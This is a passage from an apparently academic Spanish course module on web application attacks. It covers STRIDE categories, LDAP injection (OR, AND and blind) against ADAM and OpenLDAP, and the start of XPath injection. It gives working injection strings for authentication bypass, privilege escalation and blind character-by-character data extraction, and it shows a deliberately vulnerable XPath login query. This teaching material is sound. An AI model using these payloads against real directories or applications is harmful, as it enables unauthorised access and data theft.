ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

